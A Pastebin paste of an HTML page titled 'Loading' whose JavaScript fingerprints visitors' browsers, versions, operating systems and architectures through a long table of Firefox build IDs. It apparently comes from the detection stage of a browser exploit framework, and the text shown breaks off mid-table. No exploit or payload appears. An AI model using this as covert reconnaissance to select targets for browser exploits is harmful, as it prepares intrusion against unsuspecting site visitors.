Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html > <head > <title > Loading </title>
- <script language="javascript" type="text/javascript"><!--
- function getVersion(){
- var os_name;
- var os_flavor;
- var os_sp;
- var os_lang;
- var ua_name;
- var ua_version;
- var arch = "";
- var useragent = navigator.userAgent;
- var ua_is_lying = false;
- var version = "";
- if(window.opera) {
- ua_name = "Opera";
- if(!navigator.userAgent.match(/Opera/)) {
- ua_is_lying = true;
- }
- ua_version = opera.version();
- if(!os_name) {
- switch(opera.buildNumber('inconspicuous')) {
- case "344":
- case "2091":
- case "2444":
- case "6386":
- os_name = "Linux";
- break;
- case "8502":
- case "8679":
- case "8771":
- case "8776":
- case "8801":
- case "10108":
- case "10467":
- case "3445":
- os_name = "Microsoft Windows";
- break;
- case "6386":
- os_name = "Mac OS X";
- break;
- }
- }
- } else if(typeof window.onmousewheel != 'undefined') {
- if(window.chromium || window.google || window.chrome) {
- ua_name = "Chrome";
- search = "Chrome";
- } else {
- ua_name = "Safari";
- search = "Version";
- }
- platform = navigator.platform.toLowerCase();
- if(platform.match(/ipod/)) {
- os_name = "Mac OS X";
- os_flavor = "iPod";
- arch = "armle";
- search = "AppleWebKit";
- } else if(platform.match(/ipad/)) {
- os_name = "Mac OS X";
- os_flavor = "iPad";
- arch = "armle";
- search = "AppleWebKit";
- } else if(platform.match(/iphone/)) {
- os_name = "Mac OS X";
- os_flavor = "iPhone";
- arch = "armle";
- } else if(platform.match(/macintel/)) {
- os_name = "Mac OS X";
- arch = "x86";
- } else if(platform.match(/linux/)) {
- os_name = "Linux";
- if(platform.match(/x86_64/)) {
- arch = "x86_64";
- } else if(platform.match(/arm/)) {
- arch = "armle";
- }
- } else if(platform.match(/windows/)) {
- os_name = "Microsoft Windows";
- }
- ua_version = searchVersion(search, navigator.userAgent);
- if(!ua_version || 0 == ua_version.length) {
- ua_is_lying = true;
- }
- } else if(!document.all && navigator.taintEnabled) {
- ua_name = "Firefox";
- if(document.readyState) {
- ua_version = "3.6";
- } else if(String.trimRight) {
- ua_version = "3.5";
- } else if(document.getElementsByClassName) {
- ua_version = "3";
- } else if(window.Iterator) {
- ua_version = "2";
- } else if(Array.every) {
- ua_version = "1.5";
- } else {
- ua_version = "1";
- }
- if(navigator.oscpu != navigator.platform) {
- ua_is_lying = true;
- }
- version = navigator.oscpu;
- if(version.match(/i.86/)) {
- arch = "x86";
- }
- if(version.match(/x86_64/)) {
- arch = "x86_64";
- }
- if(version.match(/Windows/)) {
- os_name = "Microsoft Windows";
- switch(version) {
- case "Windows NT 5.0":
- os_flavor = "2000";
- break;
- case "Windows NT 5.1":
- os_flavor = "XP";
- break;
- case "Windows NT 5.2":
- os_flavor = "2003";
- break;
- case "Windows NT 6.0":
- os_flavor = "Vista";
- break;
- case "Windows NT 6.1":
- os_flavor = "7";
- break;
- }
- }
- if(version.match(/Linux/)) {
- os_name = "Linux";
- }
- var buildid = navigator.buildID;
- switch(buildid) {
- case "2008041514":
- ua_version = "3.0.0.b5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008041515":
- ua_version = "3.0.0.b5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2008052312":
- ua_version = "3.0.0";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008052906":
- ua_version = "3.0.0";
- os_name = "Microsoft Windows";
- break;
- case "2008052909":
- ua_version = "3.0.0.rc1";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008052912":
- ua_version = "3.0.0";
- os_name = "Linux";
- break;
- case "2008060309":
- ua_version = "3.0.0";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2008070205":
- ua_version = "2.0.0.16";
- os_name = "Microsoft Windows";
- break;
- case "2008070206":
- ua_version = "3.0.1";
- os_name = "Linux";
- break;
- case "2008070208":
- ua_version = "3.0.1";
- os_name = "Microsoft Windows";
- break;
- case "2008071222":
- ua_version = "3.0.1";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008072820":
- switch(navigator.productSub) {
- case "2008072820":
- ua_version = "3.0.1";
- os_name = "Linux";
- break;
- case "2008092313":
- ua_version = "3.0.2";
- os_name = "Linux";
- break;
- }
- break;
- case "2008082909":
- ua_version = "2.0.0.17";
- os_name = "Microsoft Windows";
- break;
- case "2008091618":
- ua_version = "3.0.2";
- os_name = "Linux";
- break;
- case "2008091620":
- ua_version = "3.0.2";
- os_name = "Microsoft Windows";
- break;
- case "2008092313":
- ua_version = "3.0.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008092416":
- ua_version = "3.0.3";
- os_name = "Linux";
- break;
- case "2008092417":
- ua_version = "3.0.3";
- os_name = "Microsoft Windows";
- break;
- case "2008092510":
- ua_version = "3.0.4";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008101315":
- switch(navigator.productSub) {
- case "2008101315":
- ua_version = "3.0.3";
- os_name = "Linux";
- break;
- case "2008111318":
- ua_version = "3.0.4";
- os_name = "Linux";
- arch = "x86";
- break;
- }
- break;
- case "2008102918":
- ua_version = "2.0.0.18";
- os_name = "Microsoft Windows";
- break;
- case "2008102920":
- ua_version = "3.0.4";
- break;
- case "2008111317":
- ua_version = "3.0.5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2008111318":
- ua_version = "3.0.5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2008120119":
- ua_version = "2.0.0.19";
- os_name = "Microsoft Windows";
- break;
- case "2008120121":
- ua_version = "3.0.5";
- os_name = "Linux";
- break;
- case "2008120122":
- ua_version = "3.0.5";
- os_name = "Microsoft Windows";
- break;
- case "2008121709":
- ua_version = "2.0.0.20";
- os_name = "Microsoft Windows";
- break;
- case "2009011912":
- ua_version = "3.0.6";
- os_name = "Linux";
- break;
- case "2009011913":
- ua_version = "3.0.6";
- os_name = "Microsoft Windows";
- break;
- case "2009012615":
- ua_version = "3.0.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009012616":
- ua_version = "3.0.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009021906":
- ua_version = "3.0.7";
- os_name = "Linux";
- break;
- case "2009021910":
- ua_version = "3.0.7";
- os_name = "Microsoft Windows";
- break;
- case "2009030422":
- ua_version = "3.0.8";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009032608":
- ua_version = "3.0.8";
- os_name = "Linux";
- break;
- case "2009032609":
- ua_version = "3.0.8";
- os_name = "Microsoft Windows";
- break;
- case "2009032711":
- ua_version = "3.0.9";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009033100":
- switch(navigator.productSub) {
- case "2009033100":
- ua_version = "3.0.8";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2009042113":
- ua_version = "3.0.9";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- }
- break;
- case "2009040820":
- ua_version = "3.0.9";
- os_name = "Linux";
- break;
- case "2009040821":
- ua_version = "3.0.9";
- os_name = "Microsoft Windows";
- break;
- case "2009042113":
- ua_version = "3.0.10";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009042114":
- ua_version = "3.0.10";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2009042315":
- ua_version = "3.0.10";
- os_name = "Linux";
- break;
- case "2009042316":
- ua_version = "3.0.10";
- os_name = "Microsoft Windows";
- break;
- case "20090427153806":
- ua_version = "3.5.0.b4";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20090427153807":
- ua_version = "3.5.0.b4";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "2009060214":
- ua_version = "3.0.11";
- os_name = "Linux";
- break;
- case "2009060215":
- ua_version = "3.0.11";
- os_name = "Microsoft Windows";
- break;
- case "2009060308":
- switch(navigator.productSub) {
- case "2009060308":
- ua_version = "3.0.11";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009070811":
- ua_version = "3.0.12";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- }
- break;
- case "2009060309":
- switch(navigator.productSub) {
- case "2009060309":
- ua_version = "3.0.11";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2009070811":
- ua_version = "3.0.12";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- }
- break;
- case "2009060310":
- ua_version = "3.0.11";
- os_name = "Linux";
- os_flavor = "BackTrack";
- break;
- case "2009062005":
- ua_version = "3.0.11";
- os_name = "Linux";
- os_flavor = "PCLunixOS";
- break;
- case "20090624012136":
- ua_version = "3.5.0";
- os_name = "Mac OS X";
- break;
- case "20090624012820":
- ua_version = "3.5.0";
- os_name = "Linux";
- break;
- case "20090701234143":
- ua_version = "3.5.0";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20090702060527":
- ua_version = "3.5.0";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "2009070610":
- ua_version = "3.0.12";
- os_name = "Linux";
- break;
- case "2009070611":
- ua_version = "3.0.12";
- os_name = "Microsoft Windows";
- break;
- case "2009070811":
- ua_version = "3.0.13";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "20090715083437":
- ua_version = "3.5.1";
- os_name = "Mac OS X";
- break;
- case "20090715083816":
- ua_version = "3.5.1";
- os_name = "Linux";
- break;
- case "20090715094852":
- ua_version = "3.5.1";
- os_name = "Microsoft Windows";
- break;
- case "2009072202":
- ua_version = "3.0.12";
- os_name = "Linux";
- os_flavor = "Oracle";
- break;
- case "2009072711":
- ua_version = "3.0.12";
- os_name = "Linux";
- os_flavor = "CentOS";
- break;
- case "20090729211433":
- ua_version = "3.5.2";
- os_name = "Mac OS X";
- break;
- case "20090729211829":
- ua_version = "3.5.2";
- os_name = "Linux";
- break;
- case "20090729225027":
- ua_version = "3.5.2";
- os_name = "Microsoft Windows";
- break;
- case "2009073021":
- ua_version = "3.0.13";
- os_name = "Linux";
- break;
- case "2009073022":
- ua_version = "3.0.13";
- os_name = "Microsoft Windows";
- break;
- case "20090824085414":
- ua_version = "3.5.3";
- os_name = "Mac OS X";
- break;
- case "20090824085743":
- ua_version = "3.5.3";
- os_name = "Linux";
- break;
- case "20090824101458":
- ua_version = "3.5.3";
- os_name = "Microsoft Windows";
- break;
- case "2009082707":
- ua_version = "3.0.14";
- break;
- case "2009090216":
- ua_version = "3.0.14";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20090914014745":
- ua_version = "3.5.3";
- os_name = "Linux";
- os_flavor = "Mandriva";
- arch = "x86";
- break;
- case "20090915065903":
- ua_version = "3.5.3";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86_64";
- break;
- case "20090915070141":
- ua_version = "3.5.3";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86";
- break;
- case "20091007090112":
- ua_version = "3.5.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20091007095328":
- ua_version = "3.5.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2009101600":
- switch(navigator.productSub) {
- case "2009101600":
- ua_version = "3.0.15";
- break;
- case "20091016":
- ua_version = "3.5.4";
- os_name = "Linux";
- os_flavor = "SUSE";
- arch = "x86";
- break;
- }
- break;
- case "2009101601":
- ua_version = "3.0.15";
- os_name = "Microsoft Windows";
- break;
- case "20091016081620":
- ua_version = "3.5.4";
- os_name = "Mac OS X";
- break;
- case "20091016081727":
- ua_version = "3.5.4";
- os_name = "Linux";
- break;
- case "20091016092926":
- ua_version = "3.5.4";
- os_name = "Microsoft Windows";
- break;
- case "20091020122601":
- ua_version = "3.5.4";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2009102814":
- switch(navigator.productSub) {
- case "2009121601":
- ua_version = "3.0.16";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2009121602":
- ua_version = "3.0.16";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2010010604":
- ua_version = "3.0.17";
- os_name = "Linux";
- os_flavor = "Mint";
- break;
- case "2010021501":
- ua_version = "3.0.17;xul1.9.0.18";
- os_name = "Linux";
- os_flavor = "Mint";
- arch = "x86";
- break;
- case "2010021502":
- ua_version = "3.0.17;xul1.9.0.18";
- os_name = "Linux";
- os_flavor = "Mint";
- arch = "x86_64";
- break;
- }
- break;
- case "2009102815":
- switch(navigator.productSub) {
- case "2009102815":
- ua_version = "3.0.15";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2009121601":
- ua_version = "3.0.16";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- }
- break;
- case "20091029152254":
- ua_version = "3.6.0.b1";
- os_name = "Linux";
- break;
- case "20091029171059":
- ua_version = "3.6.0.b1";
- os_name = "Microsoft Windows";
- break;
- case "20091102134505":
- ua_version = "3.5.5";
- os_name = "Mac OS X";
- break;
- case "20091102141836":
- ua_version = "3.5.5";
- os_name = "Linux";
- break;
- case "20091102152451":
- ua_version = "3.5.5";
- os_name = "Microsoft Windows";
- break;
- case "2009110421":
- ua_version = "3.0.15";
- os_name = "FreeBSD";
- arch = "x86";
- break;
- case "20091106091959":
- ua_version = "3.5.5";
- os_name = "Linux";
- os_flavor = "Mandriva";
- arch = "x86";
- break;
- case "20091106140514":
- ua_version = "3.5.5";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20091106145609":
- ua_version = "3.5.5";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20091108163911":
- ua_version = "3.6.0.b2";
- os_name = "Linux";
- break;
- case "20091108181924":
- ua_version = "3.6.0.b2";
- os_name = "Microsoft Windows";
- break;
- case "20091109125225":
- switch(navigator.productSub) {
- case "20091109":
- ua_version = "3.5.5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20091215":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- }
- break;
- case "20091109134913":
- ua_version = "3.5.5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20091115172547":
- ua_version = "3.6.0.b3";
- os_name = "Linux";
- break;
- case "20091115182845":
- ua_version = "3.6.0.b3";
- os_name = "Microsoft Windows";
- break;
- case "20091124201530":
- ua_version = "3.6.0.b4";
- os_name = "Mac OS X";
- break;
- case "20091124201751":
- ua_version = "3.6.0.b4";
- os_name = "Linux";
- break;
- case "20091124213835":
- ua_version = "3.6.0.b4";
- os_name = "Microsoft Windows";
- break;
- case "2009120100":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20091201203240":
- ua_version = "3.5.6";
- os_name = "Mac OS X";
- break;
- case "20091201204959":
- ua_version = "3.5.6";
- os_name = "Linux";
- break;
- case "20091201220228":
- ua_version = "3.5.6";
- os_name = "Microsoft Windows";
- break;
- case "2009120206":
- ua_version = "3.0.16";
- break;
- case "2009120208":
- ua_version = "3.0.16";
- os_name = "Microsoft Windows";
- break;
- case "20091204132459":
- ua_version = "3.6.0.b5";
- os_name = "Linux";
- break;
- case "20091204132509":
- ua_version = "3.6.0.b5";
- os_name = "Mac OS X";
- break;
- case "20091204143806":
- ua_version = "3.6.0.b5";
- os_name = "Microsoft Windows";
- break;
- case "20091215230859":
- ua_version = "3.5.7";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20091215230946":
- ua_version = "3.5.7";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20091215231400":
- ua_version = "3.5.7";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20091215231754":
- switch(navigator.productSub) {
- case "20091215":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100106":
- ua_version = "3.5.7";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- }
- break;
- case "2009121601":
- switch(navigator.productSub) {
- case "2009121601":
- ua_version = "3.0.16";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2010010604":
- ua_version = "3.0.17";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- }
- break;
- case "2009121602":
- ua_version = "3.0.17";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "20091216104148":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Mandriva";
- break;
- case "20091216132458":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20091216132537":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20091216142458":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20091216142519":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "2009121708":
- ua_version = "3.0.16";
- os_name = "Linux";
- os_flavor = "CentOS";
- arch = "x86";
- break;
- case "2009122115":
- ua_version = "3.0.17";
- break;
- case "2009122116":
- ua_version = "3.0.17";
- os_name = "Microsoft Windows";
- break;
- case "20091221151141":
- ua_version = "3.5.7";
- os_name = "Mac OS X";
- break;
- case "20091221152502":
- ua_version = "3.5.7";
- os_name = "Linux";
- break;
- case "20091221164558":
- ua_version = "3.5.7";
- os_name = "Microsoft Windows";
- break;
- case "2009122200":
- ua_version = "3.5.7";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20091223231431":
- ua_version = "3.5.6";
- os_name = "Linux";
- os_flavor = "PCLunixOS";
- arch = "x86";
- break;
- case "20100105194006":
- ua_version = "3.6.0.rc1";
- os_name = "Mac OS X";
- break;
- case "20100105194116":
- ua_version = "3.6.0.rc1";
- os_name = "Linux";
- break;
- case "20100105212446":
- ua_version = "3.6.0.rc1";
- os_name = "Microsoft Windows";
- break;
- case "2010010604":
- ua_version = "3.0.18";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- case "2010010605":
- ua_version = "3.0.18";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100106054534":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100106054634":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100106211825":
- ua_version = "3.5.7";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100106212742":
- ua_version = "3.5.7";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20100106215614":
- ua_version = "3.5.7";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100110112429":
- ua_version = "3.5.7";
- os_name = "Linux";
- os_flavor = "Mandriva";
- break;
- case "20100115132715":
- ua_version = "3.6.0";
- os_name = "Mac OS X";
- break;
- case "20100115133306":
- ua_version = "3.6.0";
- os_name = "Linux";
- break;
- case "20100115144158":
- ua_version = "3.6.0";
- os_name = "Microsoft Windows";
- break;
- case "20100125074043":
- ua_version = "3.6.0";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100125074127":
- ua_version = "3.6.0";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100125204847":
- ua_version = "3.6.0";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86";
- break;
- case "20100125204903":
- ua_version = "3.6.0";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86_64";
- break;
- case "20100202152834":
- ua_version = "3.5.8";
- os_name = "Mac OS X";
- break;
- case "20100202153512":
- ua_version = "3.5.8";
- os_name = "Linux";
- break;
- case "20100202165920":
- ua_version = "3.5.8";
- os_name = "Microsoft Windows";
- break;
- case "2010020219":
- ua_version = "3.0.18";
- os_name = "Mac OS X";
- break;
- case "2010020220":
- ua_version = "3.0.18";
- os_name = "Microsoft Windows";
- break;
- case "2010020400":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20100212131909":
- ua_version = "3.6.0.2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100212132013":
- ua_version = "3.6.0.2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100216105329":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100216105348":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100216105410":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100216110009":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "2010021718":
- ua_version = "3.0.18";
- os_name = "Linux";
- os_flavor = "CentOS";
- arch = "x86";
- break;
- case "20100218022359":
- ua_version = "3.6.0.4";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100218022705":
- ua_version = "3.6.0.4";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100218112915":
- ua_version = "3.5.8";
- os_name = "Linux";
- os_flavor = "Mandriva";
- arch = "x86";
- break;
- case "20100222120605":
- ua_version = "3.6.0.5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100222120717":
- ua_version = "3.6.0.5";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100301015346":
- ua_version = "3.6.0";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100305054927":
- ua_version = "3.6.0";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20100307204001":
- ua_version = "3.6.0";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100308142847":
- ua_version = "3.6.0.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100308151019":
- ua_version = "3.6.0.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2010031218":
- ua_version = "3.0.19";
- break;
- case "2010031422":
- ua_version = "3.0.19";
- os_name = "Microsoft Windows";
- break;
- case "20100315075757":
- ua_version = "3.5.9";
- os_name = "Linux";
- break;
- case "20100315080228":
- ua_version = "3.5.9";
- os_name = "Mac OS X";
- break;
- case "20100315083431":
- ua_version = "3.5.9";
- os_name = "Microsoft Windows";
- break;
- case "20100316055951":
- ua_version = "3.6.2";
- os_name = "Mac OS X";
- break;
- case "20100316060223":
- ua_version = "3.6.2";
- os_name = "Linux";
- break;
- case "20100316074819":
- ua_version = "3.6.2";
- os_name = "Microsoft Windows";
- break;
- case "2010031700":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20100323102218":
- ua_version = "3.6.2";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100323102339":
- ua_version = "3.6.2";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100323194640":
- ua_version = "3.6.2";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20100324182054":
- ua_version = "3.6.2";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100330071911":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100330072017":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100330072020":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100330072034":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100401064631":
- ua_version = "3.6.3";
- os_name = "Mac OS X";
- break;
- case "20100401074458":
- ua_version = "3.6.3";
- os_name = "Linux";
- break;
- case "20100401080539":
- ua_version = "3.6.3";
- os_name = "Microsoft Windows";
- break;
- case "20100401144201":
- ua_version = "3.6.2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2010040116":
- ua_version = "3.0.19";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2010040118":
- ua_version = "3.0.19";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2010040119":
- ua_version = "3.0.19";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2010040121":
- ua_version = "3.0.19";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100401213457":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "2010040123":
- ua_version = "3.0.19";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "2010040200":
- ua_version = "3.0.19";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100402010516":
- ua_version = "3.5.9";
- os_name = "Linux";
- os_flavor = "Mint";
- arch = "x86_64";
- break;
- case "20100402041908":
- ua_version = "3.6.2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100403042003":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100403082016":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100404024515":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100404024646":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100404104043":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "PClinuxOS";
- arch = "x86_64";
- break;
- case "20100409151117":
- ua_version = "3.6.3.2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100409170726":
- ua_version = "3.6.3.2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100412125148":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Mandriva";
- arch = "x86";
- break;
- case "20100413152922":
- ua_version = "3.6.4.b1";
- os_name = "Mac OS X";
- break;
- case "20100413154310":
- ua_version = "3.6.4.b1";
- os_name = "Linux";
- break;
- case "20100413172113":
- ua_version = "3.6.4.b1";
- os_name = "Microsoft Windows";
- break;
- case "20100415062243":
- ua_version = "3.6.3.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100415103754":
- ua_version = "3.6.3.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100416101101":
- ua_version = "3.6.3.2";
- os_name = "Linux";
- os_flavor = "Mandriva";
- arch = "x86";
- break;
- case "2010041700":
- ua_version = "3.6.4.1";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20100419015333":
- ua_version = "3.6.3";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20100423043606":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86_64";
- break;
- case "20100423140709":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100423141150":
- ua_version = "3.6.3";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100423142835":
- ua_version = "3.6.3";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100502202326":
- ua_version = "3.6.4.b2";
- os_name = "Linux";
- break;
- case "20100502202401":
- ua_version = "3.6.4.b2";
- os_name = "Mac OS X";
- break;
- case "20100502221517":
- ua_version = "3.6.4.b2";
- os_name = "Microsoft Windows";
- break;
- case "20100503113315":
- ua_version = "3.6.4.b3";
- os_name = "Mac OS X";
- break;
- case "20100503113541":
- ua_version = "3.6.4.b3";
- os_name = "Linux";
- break;
- case "20100503122926":
- ua_version = "3.6.4.b3";
- os_name = "Microsoft Windows";
- break;
- case "20100504085637":
- ua_version = "3.5.10";
- os_name = "Linux";
- break;
- case "20100504085753":
- ua_version = "3.5.10";
- os_name = "Mac OS X";
- break;
- case "20100504093643":
- ua_version = "3.5.10";
